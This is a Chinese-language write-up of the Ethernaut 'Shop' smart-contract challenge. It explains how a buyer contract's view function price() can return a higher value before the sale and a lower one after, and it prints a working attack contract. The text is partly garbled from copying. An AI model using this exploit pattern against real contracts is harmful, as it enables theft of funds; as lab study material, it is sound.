Shop
1. 题目要求
1.1 您能在商店以低于要求的价格购买到商品吗?
可能有帮助的注意点:
- shop合约预计由买家使用
- 了解view函数的限制
1.2 题目代码:
1 | // SPDX-License-Identifier: MIT |
2. 分析
tips:参考博客
2.1 观察代码可知 ,我们有一个
price
内部合同,代表购买该物品必须支付wei
的金额。Buyer
也可以仅在尚未售出的情况下购买该商品。该属性由函数中
isSold
初始化为false
然后更改为的状态变量处理。2.2 详细查看 buy() 函数,
这是合约的主要功能。它投射到
msg.sender
并Buyer
通过这样做它期望交易的发送者是一个实现接口中定义的功能的合约。``即使在挑战描述中没有明确说明,也应该返回买家愿意为购买商店商品支付的
function price() external view returns (uint256);
价格。合同检查买方的价格(买方愿意支付的价格)是否大于商店的价格,并检查该商品是否尚未售出。如果这个要求通过,它会更新
isSold
到true
并将price
的值更新为_buyer.price();
理论上应该与之前一条指令返回的值相同。2.3 这里的关键概念是:你永远不应该 盲目地相信你期望外部参与者会做什么,即使你定义了一个具有外部参与者应该信任的逻辑的特定接口。
永远不要盲目相信不在你控制之下的事情。
因为我们是买家,所以我们可以简单的实现
price
这样的功能1
2
3function price() external view returns (uint256) {
return victim.isSold() ? 1 : 1000;
}因为
price
是一个view
函数,我们不能有一个内部状态变量来改变uint256
函数返回的值,但我们可以进行标记为view
或 的外部调用函数pure
。2.4 参考视频 写的攻击合约
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20contract Hack {
Shop private immutable target;
constructor (address _target) {
target = Shop(_target);
}
function pwn() external {
target.buy();
require(target.price() == 99, "price != 99");
}
function price() external view returns (uint) {
if (target.isSold()) {
return 99;
}
return 100;
}
}